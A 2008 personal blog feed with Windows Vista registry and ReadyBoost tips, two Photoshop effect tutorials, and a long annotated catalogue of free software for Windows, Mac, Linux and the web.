Arinn blog

4 more Vista tricks

noreply@blogger.com (Costin) — Sat, 08 Mar 2008 00:53:00 +0000

Using your registry preferred settings on another PC

    The registry editor can save the most used keys as favorites. This will make them available more faster for reconfiguration. In order to use them on another computer or after you re-installed your operating system, you will want to secure your "favorites" outside the registry editor.
    Windows is saving the favorites directly from Registry. So, all you have to do is to export from a REG file and import it on the second computer in order to use it there. Here is how it works: in the registry editor open the key
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit\Favorites”.
    All the entries from the "favorites" menu are listed here.
Select the key and open „Registration/ Export registration file” or „File/ Export”.
In the next step, give it a name , select the option „Selected substructure” and the path selected there and click on „Save” button.
    On another computer, a double click on this file is enough to read the favorites in a second. These will be imediately available after you have approved their entrance in the registry.

Opening the files without extensions with Notepad

    If you double click a file without extension, Windows will pop up the „Open with” dialogue in order to select a program. You want to open the file in Notepad to check its content, but that option is not amongst the available settings.
Launch the registry editor and locate the key “HKEY_CLASSES_ROOT”. Open “Edit | New | Key”, press [.] and then hit Enter. Click in the right side of the window and open again „Edit/New/Key”. Type in "shell" and hit Enter.
Same way, 1 level above, create the subkey „open”. Repeat the step and create the subkey „command”. Now double click "Default" in the current key “HKEY_CLASSES_ROOT\.\shell\open\ command”. Change "value" into “Notepad. exe %1” and confirm with OK. Close the registry editor.

Controling access to registry depending on user account

    In many families, its members share same computer. As a main user and administrator, you want to ensure that the other users will not make changes in the registry.
    Specify on user level to which user it will be denied the access to the registry.
Windows XP:Select from the left side of the structure „HKEY_USERS” and open „File/Load Hive”. In the dialogue, navigate to „C:\Documents and Settings” -the folders of the different profiles of users are listed here.
    In the desired folder, select „ntuser.dat” and click on „Open”. In the next dialogue, type the name of user as name in „Key name”. You now have access to the specific settings of that account. Navigate under that user name to „Software/Microsoft/Windows/Current Version/Policies” and open the key „System”. If it is unavailable, create it with „Edit/New/Key”. Mark it and create the entry „DisableRegistryTools” from the „REG_DWORD” data type. Set value to „1”. Now again, in the left part of the structure, select the main folder of the profile of the user and click on „File/Delete structure”. Answer "yes" at the security question. From now on, Windows will block any attempts of accessing registry from that user.

Memory advice using Vista

    Vista is a vacuum for memory -1.024 is considered the lowest limit to run your programs smoothly. If you only have half from this necessary, you want to see if the performance of your computer can be improved despite the lack of RAM.
    If you have a fast USB stick, you can use the new "Ready Boost" facility. If this facility is configured accordingly, Vista is using the flash ram as an add to the system ram and it will write swap files on it. This thing will permit your programs to have more available ram. Despite the flash ram is not as fast as PC RAM, the performance of your system will have an increase.
    This trick also helps when are fast tunning a notebook. The essential part to increase the speed is to understand that a USB stick is not like a third wheel on a bycicle. To get more info on USB sticks, log on to www.grantgibson.co.uk./misc/readyboost/ . At this moment, there are over 500 products compatible with Ready Boost listed on this site. To activate this facility, insert the USB stick and click on "Increase System Speed" in the "Automatic Playback" dialogue. After testing the USB stick, Windows will open the properties for the stick in the ReadyBoost tab. Here, activate the option " Use this device". Use the silder in order to get the size of the memory that is ready for Ready Boost. To do this you should select at least the current value of your current RAM, but be carefully so it will not be only 2.5 bigger then your current RAM.
    In case you have 512MB for example, you can make a setting of "512 MB", but one that is bigger then "1.280" MB is too high. Confirm with "Apply" and click "OK".
    In future, when you start your system Vista will apply the same memory size without any other question and it will free it when your system shuts down. If your USB stick is not compatible and refuses the turbo acceleration thru USB, the only option is to try to access the removable device by making some changes in the Registry.
    Try this and see if the performance is improving. When you insert the USB stick, deactivate "Do not retest the device" in the "Ready-Boost" option dialogue. Confirm now the changes by clicking on "Apply" and then "OK". Remove the USB stick. The next step is to enter the registry editor. If you get a warning from User Account Control just click on "Continue".
Navigate to "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\EMDMgmt" key and search for the USB stick subkey. In order to edit it double click on the DWORD value "Device-Status". Then change the value to "2" and confirm changes by clicking on "OK".
    Also, set the values "Read- SpeedKBs" and "WriteSpeed KBs" to "1000" using hexadecimal. Close the registry editor and insert the USB stick. You can configure the Ready Boost now using the method described above.

Photoshop lesson - creating soap bubbles

noreply@blogger.com (Costin) — Wed, 05 Mar 2008 07:47:00 +0000

Step 1: Create a 300 dpi canvas and fills the background with Black color because in white background it is difficult
to see a bubble.
Step 2: Create new layer, select Elliptical marquee tool, press shift and create a big circle on the black background.
Step 3: Go into Edit > Stroke, Enter width as approx 10px, color must be “Gray” and Location - “Center”. Press Ok
Step 4: Before move further save the scene and also save the circle selection for future use in the tutorial. Go into
Window > Channels and press “Save selection as channel” button in the bottom of the tab. Now “Alpha” layer will be
automatically created in the Channel tab.
Step 5: Press Ctrl + D and blur the circle stroke. Go into Filter > Blur > Gaussian Blur and enter the value between
12 to 15, so all the edges can be blurred out properly but you can still figure out that as a blurred circle.

Step 6: Go into Window > Channels again and press Ctrl and
click on the Alpha layer which you created in the step 4.

Step 7: Create new layer and go into Edit > Stroke, Enter
width as approx 1px, color must be “White” and Location -
“Center”. Press Ok. Reduce the opacity of the layer to around
10%.

Step 8: Go into the previous blurred circle layer and resize it down
little bit so almost 90% blurriness will come under last created
stroke.

Step 9: Create new layer, select brush and change “Hardness to 0%”
and adjust the size of the brush as per your circle size and create 2
highlights as shown in picture.

Step 10: Go into Window > Channels again and press Ctrl
and click on the Alpha layer for the selection and go into
Effect >Distort > Pinch and select value around -60, so your
highlights can bloat.

Step 11: Select brush and change the hardness to 100% and
create 2 more highlights on the previous highlights as shown
in picture

Step 12: Select soft edged brush and paint a highlight in the bottom of the bubble.

Step 13: Select all the layers and merged them, create a marquee around a bubble and invert (Ctrl + I) the selection.
If you don’t invert it then you messed the brush, tried out yourself.

Step 14: Save this as a brush by Edit > Define Brush Preset and now you can select from the Brush Tip shape and
start painting on the image. But few settings need to be check before proceed and before painting set the foreground
color as white for transparency.

Tip: Don’t move the Angle Jitter much otherwise your highlights will come in the side or top.

Before conclude I like to mention “As light impinges on the film, some of it is reflected off
the outer surface while some of it enters the film and reemerges after being reflected back
and forth between the two surfaces.” So for color film you can use an Effect > Pixelate >
Color Halftone on the grey background circle with default values, feather delete the border
and reduce the opacity.
For reflection choose the image on which you are creating this bubble and use Effect > Distort
> Polar Coordinates with default values and adjust that image in the bubble by reducing
the opacity and feather out the borders.

The best FREE software

noreply@blogger.com (Costin) — Wed, 05 Mar 2008 05:55:00 +0000

157 software tools. No fees. No expiration dates. No problems. Sometimes even no
downloads.

I did the math: If you bought popular apps instead of trying their gratis counterparts,
at the manufacturers’ list prices you’d be out $5,183 and change! Why spend money when you can get what you need for nothing? Sometimes, you do get what you don’t pay for.

Hall of Fame

Adobe Reader www.adobe.com
Windows | MacOS | Linux | Mobile This simplest of Adobe’s PDF programs lets you do just about anything PDF-related (besides create new ones), including online collaboration. It includes a host of features to aid users with disabilities.
AIM www.aim.com
Windows | MacOS | Linux | Web One of the most widely used pieces of free software ever, AOL Instant Messenger offers a ton of capabilities.
Audacity audacity.sourceforge.net
Windows | MacOS | Linux Whether you’re recording or editing, Audacity is all about audio in practically any format.
Firefox www.mozilla.com
Windows | MacOS | Linux This PC Mag Editors’ Choice Web browser has been on top of the heap since version 1.5 came out in late 2005
GIMP www.gimp.org
Windows | MacOS | Linux The GNU Image Manipulation Program (GIMP) does most of what Photoshop does; the Gimpshop project (plasticbugs.com) even makes it look like Photoshop.
iTunes www.apple.com/itunes
Windows | MacOS When you’re attached to the top media player in the land (iPod), success is a given. iTunes con tinues to build sales and refi ne its organization of songs, video, games, podcasts, and more.
OpenOffice.org www.openoffice.org
Windows | MacOS | Linux You can spend a lot for Microsoft Offi ce or nothing for this suite with full-function word processor, spreadsheet, database, presentations, even an equations editor.
Skype www.skype.com
Windows | MacOS | Linux You’ll pay to call regular phones, but if you sign up all your friends, Skype provides easy (and even international) calls and videoconferencing for nothing.
Thunderbird www.mozilla.com/thunderbird
Windows | MacOS | Linux Mozilla’s no-cost e-mail alternative is extensible, fast, and easy to master. And a wealth of free add-ons means there’s not much this program won’t do, from calendars to encryption.
Ubuntu www.ubuntu.com
Linux This Linux-based OS comes with many of these Hall of Fame products (Firefox, OpenOffi ce.org) preinstalled. (See “OS Wars,” page 87.)
WinAmp www.winamp.com
Windows After a decade of playing music, the “skinnable” WinAmp has several versions, including one with full CD ripping and burning.

Operating Systems

ajaxWindows www.ajaxwindows.com
Web A virtual operating system (aka Web OS), it uses Asynchronous Java-Script and XML (AJAX) programming to mimic the look and feel of a Windows desktop in Firefox or IE. It stores files (using Gmail) and runs its own applications, plus Web apps like Meebo and Google Maps. If you can launch a Web browser, you can get work done through ajaxWindows.
eyeOS eyeos.info
Web This Web OS has ultra-simplifi ed applications, including an RSS reader, satellite maps, a word processor, even a browser—yes, for browsing the Web while on the Web.
Freespire 2.0 www.freespire.com
Linux This community-driven OS is based on Linspire (formerly Lindows)—a Linux distro that looks like Windows, with an emphasis on compatibility with other platforms.
Glide www.glidedigital.com
Web | Flash Sleek style sets this Web OS apart, as does the ability (using a separate utility) to sync fi les, bookmarks, and e-mail from your real OS.
gOS www.thinkgos.com
Linux Ubuntu-based and powered by Google’s apps (just don’t call it Google OS), gOS comes with the $200 PCs from Wal-Mart, but you can download it for any PC.

Antivirus/Anti-Malware

avast! 4 Home Edition www.avast.com
Windows Spiffy-looking avast! notifies you by e-mail or IM if it catches a virus. You can’t schedule scans, but its recovery database can help if a virus damages your files.
AVG Anti-Virus Free Edition free.grisoft.com
Windows Its control center is awkward, but AVG scans fi les on demand, upon access, on a schedule, and in e-mail. Its rescue disks will help you recover from disaster.
Avira AntiVir Personal Edition Classic www.free-av.com
Windows AntiVir scans fi les on demand, upon access, and on a schedule; it doesn’t scan e-mail attachments until they’re saved, but it does go to work on rootkits. It’s especially good at coexisting with other security software. Like most good AV software, it has the Virus Bulletin’s VB100% award and certification for virus detection from ICSA Labs.
HijackThis www.trendsecure.com
Windows Run HijackThis, save a log, and then post the log on sites that support the program. You’ll quickly get personalized expert help to remove any malware.
NanoScan www.nanoscan.com
Windows | Web In less than a minute, NanoScan can analyze all processes running on your computer and identify viruses, Trojan horses, spyware, or other malicious programs.
ThreatFire AntiVirus www.threatfi re.com
Windows ThreatFire detects the bad guys by their behavior, not by outdated virus signatures. It’s surprisingly accurate and a good companion to standard antivirus apps.
Trend Micro HouseCall housecall.trendmicro.com
Windows | Web Use the venerable House-Call online scanner to get a second opinion, or use the app for cleanup when malware prevents installation of a local antivirus utility.

Firewalls

Comodo Firewall Pro www.personalfirewall.comodo.com
Windows This protective dragon for XPand Vista keeps hackers out of your system, controls which programs can access the Net (its whitelist of about one million means you get fewer pop-ups), and blocks tricky “leak test” techniques. It’s both tough and good-looking.
ShieldsUP! www.grc.com
Windows | Web Be sure your fi re walls are keeping your always-on Internet connection
hidden from attackers. Shields UP! provides a quick confi rmation.
SmoothWall Express www.smoothwall.org
Linux Got a spare PC running a Pentium 200 MHz or higher with 128MB of RAM? Turn it into a dedicated network fi rewall with this open-source download.
ZoneAlarm Free www.zonealarm.com
Windows The free edition remains a useful protector against hack attacks and against programs that abuse your Internet connection.

Security

EULAlyzer www.javacoolsoftware.com
Windows Wonder what you’re agreeing to when you click “I Accept”? Don’t
worry; just drag EULAlyzer’s target icon onto the EULA for a quick report on any troublesome language.
Hotspot Shield www.anchorfree.com
Windows Create an instant virtual private network (VPN) tunnel between your laptop and the router at any Wi-Fi hot spot to protect your data from snoops on the public airwaves, even if you’re using extra encryption. If you’re on a network that limits the use of certain apps (such
as Skype), the VPN could give you unfettered access. It even works with your wired connection for an extra layer of security.
Kruptos 2 www.kruptos2.co.uk
Windows Kruptos makes a fi le accessible only to someone who knows the password; it includes a fi le shredder.
PC Flank www.pcfl ank.com
Windows | Web While ShieldsUP! tests your fi rewall’s ability to stealth all ports, PC Flank performs surgical strikes that emulate specifi c malware attacks to verify that your fi rewall blocks them.
SendShield www.sendshield.com
Windows This Outlook add-on strips out extra info and tracked changes in Word documents attached to messages.

Finance

GnuCash www.gnucash.org
Linux Linux users can track their bank accounts, stocks, and expenses in this financial program using a double-entry accounting method.

Office AbiWord www.abiword.com
Windows | MacOS | Linux Volunteers keep this open-source word processor alive. It closely mimics the look and feel of Microsoft Word 2003 and earlier.
Adobe Buzzword www.buzzword.com
Windows | Web | Flash Adobe takes on Google with this online word processor built (naturally) in Adobe Flash. The interface is splashy; controls are simple.
Gliffy www.gliffy.com
Web | Flash An online-only diagramming tool with more options than you can flowchart. The free version is limited to five diagrams.
Google Docs docs.google.com
Web | Mobile Google’s slickly designed office suite offers online shared word processing, spreadsheets, and presentations—and best of all, fi nally a solid alternative in the offi ce-suite space to the totally dominating Microsoft. Upload or e-mail your current documents for storage and editing.
IBM Lotus Symphony symphony.lotus.com
Windows A much prettier version of OpenOffice.org, Symphony is prepped for presentations, spreadsheets, and word processing in a single window (but lacks OO’s drawing and database
modules).
KompoZer www.kompozer.net
Windows | MacOS | Linux A full WYSIWYG Web-page authoring tool akin to Dreamweaver,
KompoZer integrates an FTP site manager for fi le uploads.
NeoOffice www.neooffice.com
MacOS This version of OpenOffice.org has the same great tools and price (free), but with an interface designed specifically for the Mac OS.
Notepad++ notepad-plus.sourceforge.net
Windows Notepad++ handles text—especially source code—in ways the basic Windows Notepad could only dream of, with embellishments like tabs and color coding.
Scribus www.scribus.net
Windows | MacOS | Linux This open-source page layout tool has features comparable to big names like Page maker, plus support for PDFs and scalable vector graphics (SVG).
Windows Live Mail get.live.com
Windows Live Mail not only reads your Hotmail, but also can check POP, IMAP, or HTTP mail accounts. It works as an RSS feed reader and a newsreader.
Zoho www.zoho.com
Web | Mobile Zoho features every tool you could want—word processing, spreadsheet, presentations, database, even a wiki—and several you never knew you needed. Some are also available off-line.

Calendar/PIMs

Backpack www.backpackit.com
Web Backpack is more than a to-do list site. Your fi ve easy-to-update pages send reminders via e-mail or SMS and include a whiteboard for online collaboration.
EssentialPIM Free www.essentialpim.com
Windows Imagine taking the e-mail out of Microsoft Outlook to get a killer personal information manager (PIM). That’s what EssentialPIM is all about.
Google Calendar calendar.google.com
Web | Mobile Featuring seamless integration with other Google products, sharing
capabilities, and SMS reminders, this Web app does for calendars what Google did for search.
Lightning www.mozilla.org/projects/calendar/lightning
Windows | MacOS | Linux To be more like Microsoft Outlook, Thunderbird needs a calendar. Lightning provides that, plus a to-do list. It can even sync with Google Calendar.
Power Calculator www.microsoft.com/windowsxp/downloads/powertoys/xppowertoys.mspx
Windows This XP-only PowerToy replaces the lame Windows calculator with a mathematical powerhouse.
Remember The Milk www.rememberthemilk.com
Web | Mobile Never forget another grocery item, or anything else, using this extensible online task manager. It’ll send reminders via e-mail, SMS, and IM.
Sunbird www.mozilla.org/projects/calendar/sunbird
Windows | MacOS | Linux Sunbird is Mozilla’s standalone calendar for tracking events and upcoming tasks. It’s a sister to Lightning, which adds the same functions to Thunderbird.
30 Boxes www.30boxes.com
Web One of the best-looking online calendars, 30 Boxes features easy-to-grasp pop-ups for adding events and viewing schedule details.
Yahoo! Calendar calendar.yahoo.com
Web Track your schedule and share it with friends, then sync your calendar with Outlook or your phone. It’s a great place to back up a handheld.

Backup/Sync

Allway Sync www.allwaysync.com
Windows Sync fi les between your PC and an external drive, fi ltering by folder, file name, or file type. The program displays warnings about questionable fi les before syncing.
DriveImage XML www.runtime.org
Windows Make an image of your entire hard drive for backup and restore purposes.
FolderShare www.foldershare.com
Windows | MacOS Install the utility on multiple computers, create an online account where you identify each computer, and pick folders to synchronize. Up-to-date data becomes available on all those PCs whenever you make a change in a folder, with sync taking place in the background so you’re never disturbed, just happy to fi nd your fi les wherever you work.
MozyHome Free www.mozy.com
Windows | MacOS MozyHome provides automatic online backup for up to 2GB of your data.
PassPack www.passpack.com
Web Pack away all your passwords in this secure online vault; it even logs you in to Web sites.
SyncToy v2.0 www.microsoft.com/downloads
Windows Make sure folders across your networked computers contain the same files, even on drives that change location and name.
WinClone www.twocanoes.com
MacOS Bootcamp users: Now you can clone (back up) your Windows XP/Vista partition for reinstall on a new Mac.

App Launchers

Launchy www.launchy.net
Windows Launchy launches (duh) applications, fi les, folders, or searches via a command-line–esque interface.
ObjectDock www.stardock.com
Windows Organize your application shortcuts in a toolbar that mimics the look and feel of the Macintosh dock, complete with icon animations. It will even mimic Windows Taskbar buttons.
Add in extras (docklets) like real-time clock and weather forecasts, even a fully functional Windows Start button and Recycle Bin, to get everything you need.
QuickSilver www.blacktree.com
MacOS This open-source launcher takes plug-ins that allow it to do almost anything you want in the MacOS.

Utilities

Absolute Uninstaller www.glarysoft.com
Windows Replace the Add/Remove Programs control panel in XP to get batch uninstalls and clear out leftovers that Windows frequently misses when uninstalling.
CCleaner www.ccleaner.com
Windows The extra C is for crap, and that’s what CCleaner gets rid of: all the detritus left behind in the course of using Windows.
CoolMon www.coolmon.org
Windows CoolMon displays all of your system’s vital statistics, including use of your CPU, RAM, and hard drives, internal PC temperature, and more.
Defraggler www.defraggler.com
Windows Defragment your entire hard drive—or just one heavily fragmented file at a time.
DriverView www.nirsoft.net
Windows DriverView lists every single device driver running on your system, with extra info on each.
Eraser www.heidi.ie/eraser
Windows Shredders are popular in the office, so why not have the digital equivalent? Eraser adds a right-click menu that will do away with a fi le or folder forever.
FileZilla www.filezilla-project.org
Windows | MacOS | Linux Download this FTP client for accessing multiple sites or to use as an FTP server. In both cases, FileZilla has convenient drag-and-drop support.
Glary Utilities www.glaryutilities.com
Windows Glary offers a ton of utilities for cleaning, optimizing, and securing Windows in one package.
Microsoft Virtual PC 2007 www.microsoft.com/windows/virtualpc
Windows Install anything—DOS, OS/2, or any earlier version of Windows—as a virtual machine. It’ll run in a separate window on your Vista or XP desktop.
SandBoxie www.sandboxie.com
Web Place a layer of “transient storage” —a sandbox—between your applications and your hard disk to stay safe.
SecureZIP www.securezip.com
Windows Compress and decompress files on the fly, even in e-mail through Outlook integration, and encrypt archives as desired.
Task Killer www.rsdsoft.com
Windows Stop any Windows process dead; this is handy for clearing frozen applications.
TinkerTool www.bresink.com
MacOS Get access to additional preference settings in Mac OS X to turn on hidden features.
Uniblue ProcessScanner www.processlibrary.com
Windows | Web You can do the Ctrl-Alt-Delete salute in Windows to see what’s bogging down your PC, but can you understand the results? ProcessScanner, coupled with the online Process Library, provides extra information on each process (like whether it autostarts or not, and who makes the software in question), and even lists the security risk to your system for running it.

Downloads

BitLet.org
Web Who needs a BitTorrent client? Just find the torrent metafile link on a tracker site, plug it in at BitLet.org, and let it retrieve the fi le as if you were downloading it from a regular Web site.
Universal Extractor www.legroom.net
Windows See what’s inside any archive file—ZIP, RAR, even EXE.
uTorrent www.utorrent.com
Windows The tiniest BitTorrent client around (only 214K) comes with all the torrent download features you crave.

Interface Enhancement

Battery Status users.rcn.com/tmtalpey/BattStat
Windows This app runs in the system tray and takes advantage of smart battery support in XP/Vista to provide loads of info on laptop-power usage.
Google Desktop desktop.google.com
Windows | MacOS | Linux Let Google index and search your hard drive contents. The sidebar adds graphical widgets to your desktop.
miniMIZE aquaria.za.net
Windows miniMIZE puts thumbnails of your minimized applications on the desktop for easier access.
Quero Toolbar 4 www.quero.at
Windows Replace the Internet Explorer address bar to integrate ad blocking and make IE7 look more like IE6.
Vista Drive Icon drvicon.sourceforge.net
Windows Add one of Vista’s best features to XP: smart drive icons showing the current capacity of each hard drive.
XYplorer www.xyplorer.com
Windows Multiple tabs and improved search enhance and replace the boring old Windows Explorer.
Yahoo! Widgets widgets.yahoo.com
Windows | MacOS Fill your desktop with tiny interfaces for everything from stock picks to RSS feeds to weather forecasts (using Doppler radar!) to Wi-Fi sensors to remote desktops to countdown clocks—to name a few. Pick from over 4,300; some are more useful than others,
but almost all are interesting to look at.

File View/Conversion

Foxit Reader www.foxitsoftware.com
Windows Perhaps the fastest PDF reader around, Foxit includes a free annotation tool. Add-ons enable support for new file formats and UI languages.
Samuraj Data view.samurajdata.se
Web You can display PDF fi les in your Web browser when no other reader is available.
ScanR.com
Web | Mobile Instantly perform optical character recognition (OCR) on pictures by e-mailing them from your phone to ScanR.com.
YouConvertIt.com
Web This site turns just about any file into a different kind of file, even online videos from YouTube. It also converts units of energy, force, length, and more.
ZamZar www.zamzar.com
Web File conversion is no longer a complete nightmare. Just go to ZamZar, upload a fi le, choose from a long list of extensions (including image, doc, music,video, and compression types), and
enter your e-mail address. When it’s done, ZamZar will send you the converted file.

Networking

LogMeIn Hamachi secure.logmein.com
Windows | MacOS | Linux Instantly create a free, peer-to-peer VPN connection between your computer and other people’s. Download the software, create a network with a unique name, give it to friends you want to join, and start sharing files with them—even your iTunes folder.
NetStumbler www.netstumbler.com
Windows Use it to detect any Wi-Fi network in your vicinity and see if it’s open for use, or just use it to troubleshoot your own.
PrinterAnywhere
www.printeranywhere.com
Windows Share your printer with others over the Web; in turn, send jobs to other shared printers, no matter their location.

Blogging

Blogger www.blogger.com
Web | Mobile Blogger was one of the first blog-publishing tools. Years after Google bought it, it remains one of the best, especially for newbies. Create a brain-dead simple weblog and let Blogger host it (with a blogspot.com name) using the slew of provided templates, or use it to publish a blog on your own domain.
w.bloggar www.wbloggar.com
Windows This post and template editor can handle multiple blogs, across multiple blogging systems.
Windows Live Writer get.live.com
Windows Live Writer is not a word processor, but a universal, WYSIWYG blogposting tool more powerful than most blog services’ own tools.
WordPress www.wordpress.com
Web It lacks the simplicity of Blogger or Vox, but the commercial offshoot of WordPress.org offers some of the best tools of any hosted blogging service.

RSS Readers

Google Reader reader.google.com
Web | Mobile Google Reader is arguably the best RSS/newsfeed reader on the Internet. Read feeds while off-line or on your mobile phone.
Netvibes www.netvibes.com
Web This is a handsome combination of online RSS reader and podcast aggregator, with some widget apps thrown in.

Instant Messaging

Meebo.com www.meebo.com
Web This polished Web app aggregates your AOL, Gmail, ICQ, Jabber, Windows, and Yahoo! buddy lists into a single, Web-based instant-messaging and chatroom experience. Meebo is building in extras, such as games you can play with IM buddies, as well as video and audio
chat you’d fi nd with your regular IM client software.
Pidgin www.pidgin.im
Windows | Linux Open source tackles instant messaging in this client, which supports more IM networks than you’ve ever heard of.
Trillian www.ceruleanstudios.com
Windows Access all your IM accounts (AIM, ICQ, Windows Messenger, Yahoo!, and more) from a single interface that also logs all your conversations, if you desire.

Communication

GizmoProject www.gizmoproject.com
Windows | MacOS | Linux Gizmo competes with Skype to offer free, peer-to-peer, over-the-Internet phone and video calls, but uses open standards.
Gmail www.gmail.com
Web | Mobile What to do with nearly limitless e-mail storage space—that’s the enviable quandary of Gmail users, who can store up to 5.5GB worth of e-mail and chats. And the amount is constantly growing. Other perks include advanced search options, real-time updates, and
“conversations,” in which e-mail chains are stored in one continuous thread for easy perusal.
Mail Redirect addons.mozilla.org
Windows | MacOS | Linux This add-on for Thunderbird lets you bounce a message to the proper recipient without revealing that you got the message fi rst.
ooVoo www.oovoo.com
Windows | MacOS ooVoo video chat is more P2P than Skype (no supernodes!), with a better picture. It supports up to six co-videoconferencers, fi le transfers, and group text chat.
SightSpeed www.sightspeed.com
Windows | MacOS SightSpeed has better video quality than ooVoo, but in a less attractive interface. More than two video chatters will cost you, as will file transfer and group chat.

Audio

Juice juicereceiver.sourceforge.net
Windows | MacOS | Linux Aggregate all your favorite podcasts in one place for easy listening.
Levelator www.conversationsnetwork.org/levelator
Windows | MacOS | Linux Levelator adjusts the levels of your audio fi les to give the perfect balance.
Reaper www.cockos.com/reaper
Windows | MacOS The name is short for Rapid Environment for Audio Production, Engineering, and Recording. That pretty much says it all.
Wavosaur www.wavosaur.com
Web A low-price and low-profi le audio editor, Wavosaur doesn’t even need installation.
Just click the executable to start processing and recording sounds. It lacks some of the features of full programs like Audacity, but for quick-anddirty MP3 editing it can’t be beat.

Video

Cinelerra www.osalt.com/cinelerra
Linux This is professional video-editing software for the Linux crowd.
Eyespot.com
Web Upload your clips, mix via dragand-drop, and share your fi nished videos in one spot.
HandBrake handbrake.m0k.org
Windows | MacOS | Linux Convert your DVDs to MPEG-4 video (or just the audio) for backup purposes.
Jing www.jingproject.com
Windows | MacOS Jing shares what’s showing on your monitor with others online, or records it for future viewing.
Jumpcut.com
Web This online app provides Flashpowered video editing.
Miro www.getmiro.com
Windows | MacOS | Linux Miro combines BitTorrent downloads with video playback to become the next best thing to your DVR.
MythTV www.mythtv.org
Linux Use your Linux box as a homespun digital video recorder (DVR).
Songbird www.songbirdnest.com
Windows | MacOS | Linux The open-source answer to iTunes (from the makers of WinAmp) plays your music and videos.
TVersity www.tversity.com
Windows Turn your computer into a server to stream video and audio to just about any device on your network.
Ustream.tv Web Our reviews call this the absolute easiest way to broadcast live video from
your webcam across the Internet.
Videora Converter www.videora.com
Windows Convert nearly any video you can fi nd online (or on DVD) for use on any video-capable iPod or iPhone.
VLC media player www.videolan.org
Windows | MacOS | Linux Forget Windows Media Player. VideoLAN’s open-source VLC can replace it, and nearly every other player, too. VLC supports almost every audio format and video codec imaginable and doubles as a server for streaming your music and video to other PCs. Change its skin to make it look like the player you want—even WMP.
YouTube Uploader www.youtube.com/multifi le_installer
Windows | MacOS If you’ve got a lot of YouTube videos ready to go online, upload them to the site all at once with the Uploader.

Graphics

IrfanView www.irfanview.com
Windows IrfanView previews images (or even audio and video) and then converts or optimizes them without opening a separate editor.
Paint.NET www.getpaint.net
Windows This program is probably the closest thing to Photoshop you can get free, courtesy of a student project.
Picasa www.picasa.com
Windows | Linux Google’s photo manager makes it easy to get pictures off a digital camera, organize them, and even edit and share them.
Picnik www.picnik.com
Web | Flash Instantly edit pictures in this Web site. Upload images from your computer, Flickr, Picasa, or elsewhere.
pikifx.com
Web Another online pic editor, pikifx .com emphasizes special effects such as added text and borders.
rsizr.com
Web | Flash With one of the best Web interfaces yet—all in Flash—rsizr.com incorporates smart resizing to avoid distortion.
Splashup www.splashup.com
Web | Flash Another beauty with a Flash interface, Splashup sets itself apart with multi-image editing and a full-screen mode.
Windows Live Photo Gallery get.live.com/photogallery
Windows Windows Live Photo Gallery gives Picasa (above) a run for its money, with many of the same photo-enhancing and sharing features—red-eye reduction, exposure adjustment, cropping,
color, sharpen, and auto-adjust. What’s more, Microsoft serves up histogram adjustment,
panorama creation, and photo-CD burning.

Browsers

Flock www.flock.com
Windows | MacOS | Linux Another browser based on Mozilla, Flock emphasizes interaction
with social networks and services. It also accepts many add-ons from the Firefox browser.
Maxthon www.maxthon.com
Windows Replace IE or Firefox (but still use their rendering engines) with this highly customizable, multilanguage, tabbed beauty.
Opera www.opera.com
Windows | MacOS | Linux | Mobile Possibly the nimblest and most usable of all the browsers available, Opera did tabs first and still does them best. Added usability features like Speed Dial and Tab Preview keep popping up in new versions.
Prism labs.mozilla.com
Windows | MacOS | Linux Prism is a sitespecifi c browser, meaning you simply load a Web app (Gmail, for instance) and let it run like any other application on the desktop.

Browser Add-Ons

DownThemAll www.downthemall.net
Windows | MacOS | Linux You don’t have to download one item at a tim0e from a Web page anymore. DownThemAll manages batch downloads, splitting fi les into pieces so they arrive faster.
Foxmarks 2.0 www.foxmarks.com
Windows | MacOS | Linux Foxmarks can synchronize your Firefox bookmarks across multiple PCs, even multiple operating systems.
Googlepedia code.google.com/p/googlepedia
Windows | MacOS | Linux In Firefox, Googlepedia loads the most relevant Wikipedia entry it fi nds alongside your Google search results.
Google Toolbar toolbar.google.com
Windows | MacOS | Linux The toolbar brings Google’s search and other functionality
directly to IE or Firefox. It offers extras like auto fi ll, spell-checking, and oneclick RSS feed subscriptions.
Greasemonkey www.greasespot.net
Windows | MacOS | Linux Add this extension to Firefox and then extend it again with thousands of scripts that change the appearance and functions of almost any Web site.
IE7Pro www.ie7pro.com
Windows Adds a load of extras to IE7, including control over tabs, spell- checking, ad blocking—even Greasemonkey-esque scripts (see above).
IE Tab ietab.mozdev.org
Windows Do you prefer Firefox but still need to look at some sites in IE? IE Tab will load a site in a Firefox tab using the IE rendering engine.
ScribeFire www.scribefire.com
Windows | MacOS | Linux This Firefox addon sets up an interface for instant blogging on just about any blog system.
Tab Mix Plus addons.mozilla.org
Windows | MacOS | Linux Take total control of how tabs work in Firefox. Adjust
how they look, revive those you closed by accident, send tabs to new browser windows—essentially any tab action you can imagine.
Zotero www.zotero.com
Windows | MacOS | Linux Zotero makes it easy to keep track of all your research on the Web, including how to cite it in future reports.

Games/Fun

Eyezmaze.com’s Grow eyezmaze.com
Web | Flash It’s not a single game but a series that involves choosing “growing” items that are added to an online environment.
Geni.com www.geni.com
Web | Flash Share your genealogy with everyone in the family. They can contribute more individual profi les until your family tree is complete.
Google Earth earth.google.com
Windows | MacOS | Linux Fly over familiar terrain or foreign lands with Google Earth, a searchable database of satellite images and geographical data—even images of the heavens. You can go a step further with all sorts of downloadable, gee-whiz applications from scientists, media outlets, and other third-party developers to trick out your Earth-moving experience.
Google Maps maps.google.com
Web | Mobile This interactive mapping tool goes beyond driving directions. View destinations in Street View, Satellite, or Terrain modes; check traffic updates; or look up info on nearby businesses.
Kongregate www.kongregate.com
Web | Flash Only 2,598 free games (as of this writing) to keep you busy online? Bring ’em on.
Second Life www.secondlife.com
Windows | MacOS This 3D virtual world has hundreds of thousands of denizens. Access is free, but you’ll pay a bit if you want to get some real estate, or even fancy clothes for your avatar.

Photoshop - "Disco" effect

noreply@blogger.com (Costin) — Tue, 14 Aug 2007 02:31:00 +0000

       Starting from image from the figure 1 we will create the "disco" effect which was very popular on the posters and the video clips of the 80's.

       For start we will delete the background behind the character. In order to do this we will use the Magnetic Lasso Tool and we will select the contour of the character. Don't worry if the selection is not perfect ! It can be corrected afterwards using the instrument Polygonal Lasso Tool and one of the selection method "Add to selection" or "Substract from selection", depending on what you need. An example of imperfection can be noticed on figure 2. It will be corrected using "Add to selection" because the initial mask did not covered the entire contour of the device from the kid's hand.

